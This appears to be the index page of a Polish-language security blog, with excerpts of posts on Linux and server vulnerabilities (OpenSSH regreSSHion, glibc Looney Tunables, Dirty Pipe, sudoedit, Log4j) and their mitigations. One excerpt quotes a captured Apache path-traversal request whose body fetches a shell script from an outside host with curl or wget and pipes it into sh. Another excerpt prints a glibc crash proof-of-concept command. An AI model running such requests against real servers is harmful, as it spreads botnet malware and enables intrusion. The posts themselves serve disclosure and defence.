1

4 marca 2025 roku po raz kolejny mogliśmy przekonać się jak łatwo można przeprowadzić atak na łańcuch dostaw (ang. supply chain attack). Wystarczy uderzyć w kruchość ludzkiej weryfikacji w danym projekcie, którego popularność jest na tyle duża (lub specyficzna), aby spowodować dość duże spustoszenie, problemy i zaangażowanie dużej ilości ludzi do naprawy przepuszczonego błędu. Ale od początku. Dzisiejszy model rozwoju oprogramowania opiera się na używaniu popularnych platform typu Github, czy Gitlab itp. Oczywiście ma to swoje plusy dodatnie oraz plusy ujemne – szczególnie, gdy tego typu platformy mają swoje problemy bezpieczeństwa, które dziedziczymy razem z ich adopcją. W dodatku oferują funkcjonalności, które są najczęściej uzupełnianie przez zewnętrzne (często lepsze) rozwiązania. Takim przykładem są klocki, z których budowane są przepływy zadań / pracy (ang. workflows). Oferują one zautomatyzowane procesy uruchamiające jedno lub więcej zadań do obsługi cyklu życia oprogramowania. W przypadku GitHub są definiowane przez pliki YAML zaewidencjonowane w repozytorium projektu i zostają uruchomione automatycznie przez konkretne zdarzenie w repozytorium (np. dodanie pliku, zmianę wersji itd.). Mogą być też wyzwalane ręcznie, a także według zdefiniowanego harmonogramu czasowego (ala cron).
[ czytaj całość… ]

J

ednostka badawcza firmy Qualys (ang. Qualys Threat Research Unit – TRU) opublikowała szczegóły krytycznej luki w kodzie OpenSSH (sshd) umożliwiającej zdalne wykonanie kodu bez uwierzytelniania w systemach Linux opartych na glibc. CVE powiązane z tą luką to CVE-2006-5051 i CVE-2024-6387. Powodem zastosowania dwóch numerów CVE w tym wykorzystania tego z 2006 roku jest regresja, czyli powrót starego błędu. Niestety zdarza się to dość regularnie (nie w przypadku OpenSSH, ale ogólnie różnego rodzaju oprogramowania), że programiści nie dodają testów, aby upewniać się, że luki odkryte wcześniej w cyklu życia programu są pokryte łatami w przyszłych wersjach. Wersje OpenSSH starsze niż 4.4p1 są podatne na CVE-2006-5051 oraz CVE-2008-4109, z kolei OpenSSH w wersji 8.5p1 (tutaj w październiku 2020 pojawiła się regresja) do 9.8p1 (ale nie włącznie – to jest wersja poprawiona) są podatne na CVE-2024-6387 z powodu przypadkowego usunięcia krytycznego komponentu w funkcji. Ten błąd nie dotyczy systemów OpenBSD, ponieważ w 2001 roku OpenBSD opracowało bezpieczny mechanizm, który zapobiega tej luce.

Należy jednak pamiętać, że wiele dystrybucji Linuksa nie większy numerów wersji, jeśli naniosą łatkę na aktualnie używany pakiet – tylko podniesie swój wewnętrzny patchset np. z 8.9p1-3ubuntu0.7 do 8.9p1-3ubuntu0.10. Jakie dystrybucje są podatne?

• RedHat Enterprise 9
• Fedora Linux od 34 do 40
• Debian 12 (Bookworm)
• Ubuntu 22.04, 23.10, 24.04
• openSUSE Leap 15.6, Tumbleweed
• Alpine Linux od 3.14 do 3.20
• Arch Linux

Warto zaznaczyć, że luka ta opiera się na wygraniu wyścigu, czyli występuje tutaj problem z synchronizacją czasową wielu operacji, a samo wykorzystanie luki nie jest łatwe do odtworzenia – autorzy luki musieli wykonać około 10.000 prób na platformie x86 (32-bitowej), gdzie większość systemów Linux działa obecnie na architekturach 64-bitowych i ich eksploitacja wydaje się obecnie niepraktyczna. Luka może mieć jednak znaczenie w przypadku starszych systemów IoT, szczególnie jeśli nie są już dla nich dostępne poprawki bezpieczeństwa.

Mitygacja zagrożenia:

Proces sshd można chronić przed tym atakiem ustawiając odpowiedni parametr LoginGraceTime. Serwer OpenSSH nadal będzie podatny na ataki typu DoS (ang. Denial of Service), poprzez wyczerpanie wszystkich połączeń przez osobę atakującą, ale nie pozwoli na zdalne wykonanie kodu. Jako użytkownik root powinniśmy edytować plik /etc/sshd_config oraz dodać lub edytować wspomnianą opcję ustawiając jej wartość na zero:

LoginGraceTime 0

Po zapisaniu pliku należy zrestartować serwer OpenSSH:

systemctl restart sshd.service || /etc/init.d/sshd restart

Powyższe ustawienie wyłącza zdolność serwera sshd do zrywania połączeń, jeśli uwierzytelnianie nie zostanie zakończone w określonym czasie. Dlatego może to prowadzić do skutecznych ataków typu odmowa usługi (DoS). Jeśli zdecydowaliśmy się na to rozwiązanie to najlepiej połączyć je z narzędziem typu fail2ban lub zaporą ogniową *tables (a nawet techniką pukania w porty) w celu monitorowania logów i odpowiedniego limitowania połączeń na port SSH.

W

sieci wciąż krążą automaty szukające podatnych na path traversal oraz zdalne wykonanie poleceń serwerów HTTP Apache. Na przykład z dwóch chińskich adresów IP: 117.184.158.27 oraz 124.165.198.25 możemy zostać uraczeni następującym żądaniem typu POST:

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
accept: */*
host: 1.2.3.4:443
upgrade-insecure-requests: 1
user-agent: Custom-AsyncHttpClient
content-length: 109
content-type: text/plain
x-http-version: 1.1
x-remote-port: 52454
x-forwarded-for: 124.165.198.25
x-untrusted: 1
x-forwarded-proto: https

X=$(curl http://93.123.39.27/jVA.sh || wget http://93.123.39.27/jVA.sh -O-); \
echo \"$X\" | sh -s apache.selfrep

Bułgarski adres IP, na którym jest hostowany ładunek, jest również związany z botnentem Mirai:
[ czytaj całość… ]

N

iedawno firma Qualys odkryła i zgłosiła krytyczny błąd w popularnym ekosystemie bibliotek GLIBC, który jest domyślnie instalowany w większości systemów operacyjnych opartych na Linuksie. Wspomniany błąd polega na przepełnieniu bufora w kodzie odpowiedzialnym za obsługę specjalnych zmiennych środowiskowych podczas uruchamiania procesu, co może skutkować lokalną eskalacją uprawnień. Luce przypisano CVE-2023-4911 z oceną 7,8 co daje jej wysoki poziom podatności (w przypadku wykorzystania atakujący może uzyskać uprawnienia administratora w systemie). Opublikowano już kilka wersji testowych eksploitów dla tego błędu – PoC1, PoC2, PoC3, PoC4. Przykłady te pokazują, że sama eksploatacja jest dość prosta i nawet przy zastosowaniu siłowego zgadywania adresu pamięci (ze względu na ASLR) eskalacja może nastąpić w czasie krótszym niż 5 minut.

GLIBC jest domyślnie instalowany w wielu popularnych dystrybucjach Linuksa: Ubuntu, Debian, Fedora, RedHat. Zawiera dynamiczny linker ładujący (ld.so), czyli fragment oprogramowania odpowiedzialny za ładowanie wszystkich obiektów współdzielonych potrzebnych do uruchomienia programu. Jego zadania można opisać w kilku punktach: uruchamianie pliku binarnego; ładowanie bibliotek współdzielonych; obsługa zmiennych LD_PRELOAD i LD_LIBRARY_PATH; zarządzanie pamięcią i mapowanie pliku binarnego w pamięci. Luka znaleziona przez badaczy z Qualys ma miejsce podczas inicjalizacji dynamicznego linkera, a konkretnie podczas obsługi zmiennej środowiskowej GLIBC_TUNABLES. Zmienna ta pozwala na dostosowanie zachowania GLIBC podczas kolejnych zdarzeń. Listę dostępnych opcji dostrajania można uzyskać, uruchamiając następujące polecenie:

/lib64/ld-linux-x86-64.so.2 --list-tunables

Opcje dostrajające muszą zostać dostarczone do docelowego pliku binarnego jako lista oddzielonych od siebie dwukropkami par wartość=klucz ( “tunable1=aaa:tunable2=bbb”). Wspomniany linker jest odpowiedzialny za analizowanie i ostateczne usuwanie wrażliwych na bezpieczeństwo opcji dostrajania ze zmiennych środowiskowych. Co dokładnie się dzieje podczas tego procesu? Otóż funkcja __tunables_init (w której prowadzono błąd) przegląda zmienne środowiskowe i wyszukuje tej o nazwie: GLIBC_TUNABLES. Po jej znalezieniu wywołuje inną funkcję o nazwie tunables_strdup w celu utworzenia kopii zmiennej i rozpoczęcia jej przetwarzania. Ze względu na fakt, że GLIBC nie jest jeszcze zainicjowany ostatnia funkcja używa pod maską __minimal_malloc, która wywołuje mmap w celu zażądania pamięci od jądra systemu. Powoduje to alokację pamięci z pamięci wirtualnej zamiast ze sterty.

Możliwość przepełnienie bufora w tym procesie jest możliwa ze względu na sposób analizowania argumentów. Jeśli opcja dostrajająca będzie miała format: “tunable1=tunable2=bbb” zostanie ona potraktowana na początku jako: tunable1=”tunable2=bbb”, a później jako: “tunable2=bbb”. Spowoduje to skopiowanie większej ilości danych do przydzielonego bufora, niż jest to dozwolone. Chociaż luka ta została wykryta podczas przeglądu kodu źródłowego, badacze z Qualys poddali również testowanie tej logiki za pomocą fuzzingu i z pomocą programu AFL++ oraz libFuzzer powtórzyli ten błąd w mniej niż sekundę (przekazali tylko do programów listę opcji dostrajających z powyższego polecenia). PoC testujący podatność:

agresor@darkstar:~$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" \
"Z=`printf '%08192x' 1`" /usr/bin/su --help
Segmentation fault (core dumped)

Wykorzystanie luki polega na utworzeniu ładunku (ang. payload) modyfikującego wskaźnik l_info[DT_RPATH] (ścieżka wyszukiwania bibliotek), co może zmusić ld.so do załadowania obiektów współdzielonych z niezaufanych katalogów i wykonania dowolnego kodu (jako root, jeśli uruchomimy program z bitem SUID). Błąd udało wykorzystać się w domyślnych instalacjach Fedory 37 i 38, Ubuntu 22.04 i 23.04, Debianie 12 i 13; inne dystrybucje prawdopodobnie też są podatne na ataki (jedynym godnym uwagi wyjątkiem jest Alpine Linux, który używa musl libc, a nie glibc).

Więcej informacji: CVE-2023-4911, Detecting and mitigating CVE-2023-4911, Exploiting the Looney Tunables vulnerability on HTB, Looney Tunables – Local Privilege Escalation in the glibc’s ld.so

W pakiecie shadow 4.13 możliwe jest wstrzyknięcie znaków kontrolnych do pól dostarczanych do programu SUID chfn (change finger). Chociaż nie jest możliwe wykorzystanie tego błędu bezpośrednio (np.dodanie nowego użytkownika nie powiedzie się, ponieważ znak nowej linii '\n' znajduje się na liście zablokowanych znaków) to możliwe jest sfałszowanie danych wyświetlanych z pliku /etc/passwd. Użycie manipulacji znaków '\r' (CR [carriage return]) i Unicode w celu obejścia znaku “:” umożliwia stworzenie wrażenia, że dodano nowego użytkownika. Innymi słowy, atakujący może być w stanie przekonać administratora systemu do sprawdzenia lub nawet wyłączenia systemu poprzez wykazanie, że polecenie: cat /etc/passwd pokazuje wrogie konto użytkownika.
[ czytaj całość… ]

P

atryk Sondej oraz Piotr Krysiuk zgłosili lukę w jądrze Linuksa pozwalającą lokalnym użytkownikom na eskalację ich uprawnień do poziomu administratora, co pozwala na przejęcie pełnej kontroli nad systemem. Błąd use-after-free występuje w komponencie netfilter nf_tables podczas przetwarzania żądań wsadowych aktualizujących konfigurację i może zostać nadużyty do wykonania dowolnego odczytu i zapisu pamięci jądra. Dla przypomnienia: netfilter to wbudowany w jądro Linuksa framework do filtrowania pakietów i translacji adresów sieciowych (ang. Network Address Translation), który jest zarządzany przez takie narzędzia jak iptables / nftables i UFW (ang. Uncomplicated Firewall).
[ czytaj całość… ]

C

iekawa podatność pojawiła się w systemd, która bazuje na jednej z ucieczek z programu sudo. Otóż wersje systemd w wersji sprzed 247 umożliwiają eskalację uprawnień poprzez ominięcie ograniczeń uprawnień nakładanych przez konfigurację (/etc/sudoers) programu sudo dla danego użytkownika. Na przykład systemd w podatnych wersjach nie ustawia wartości “1” dla zmiennej LESSSECURE, dlatego program less biorący udział w tym łańcuchu zdarzeń jest w stanie uruchomić inny program (np. powłokę shell) z uprawnieniami administratora systemu. Wystarczy zmusić terminal do przekazania danych wyjściowych polecenia systemctl do programu less, co możemy bardzo prosto osiągnąć poprzez zmniejszenie okna samego terminala.
[ czytaj całość… ]

M

atthieu Barjole oraz Victor Cutillas z Synacktiv zgłosili podatność w sudoedit (sudo -e), która pozwala złośliwemu użytkownikowi z uprawnieniami sudoedit na edycję dowolnych plików. Podatność dotyczy wersji sudo od 1.8.0 do 1.9.12p1 włącznie. Wersje sudo sprzed wydania 1.8.0 konstruują wektor argumentów w inny sposób i nie są dotknięte tym błędem. Przypomnijmy, że sudo (su “do”) to najpopularniejszy program w systemach Linux, który pozwala administratorowi systemu delegować uprawnienia wybranym użytkownikom (lub grupom użytkowników) dając im możliwość uruchamiania niektórych (lub wszystkich) poleceń jako administrator (root) lub inny użytkownik, zapewniając jednocześnie ścieżkę audytu poleceń i ich argumentów.
[ czytaj całość… ]

P

odatność o nazwie Dirty Pipe została znaleziona w jądrze Linuksa od wersji 5.8, a dokładniej od commit’u f6dd975583bd ("pipe: merge anon_pipe_buf*_ops"). W funkcjach copy_page_to_iter_page i push_pipe element "flags" nowej struktury bufora potoku nie był odpowiednio inicjalizowany, przez co mógł zawierać nieaktualne wartości. Luka ta umożliwia nieuprzywilejowanemu użytkownikowi na zapis stron w pamięci podręcznej, a tym samym dowolnych danych do dowolnych plików, nawet jeśli są one w trybie O_RDONLY – tylko do odczytu, immutable (chattr +i) – posiadają atrybut, niepozwalający nawet administratorowi ich modyfikować lub są zamontowane na systemie plików do tylko do odczytu – MS_RDONLY. Dotyczy to także procesów SUID, które są uruchamiane z prawami administratora. Max Kellermann, który jest autorem luki wspomina, że jest ona podobna do CVE-2016-5195 “Dirty Cow“, ale łatwiej ją wykorzystać. Ze względu na odpowiedzialne ujawnienie podatności została ona załatana już w wersjach jądra: 5.16.11, 5.15.25 oraz 5.10.102.
[ czytaj całość… ]

Podsumowanie:

Wersje Log4j wcześniejsze niż 2.15.0 są narażone na lukę umożliwiającą zdalne wykonanie kodu głównie za pośrednictwem parsera LDAP JNDI. Zgodnie z przewodnikiem bezpieczeństwa tego projektu z fundacji Apache wersje Log4j <= 2.14.1 posiadają funkcje JNDI używane w konfiguracji, komunikatach logów i parametrach nie są chronione przed punktami końcowymi, które atakujący może wstrzyknąć i np. za pomocą protokołu LDAP (lub innego) pobrać i wykonać dowolny kod z zdalnego zasobu. Serwer z podatną wersją Log4j, do którego atakujący może wysyłać kontrolowane przez siebie komunikaty logów np. frazy wyszukiwania lub wartości nagłówków HTTP może wykonać dowolny kod pobrany z zewnętrznych serwerów LDAP. Wystarczy logować dane wejściowe lub meta dane użytkownika:
[ czytaj całość… ]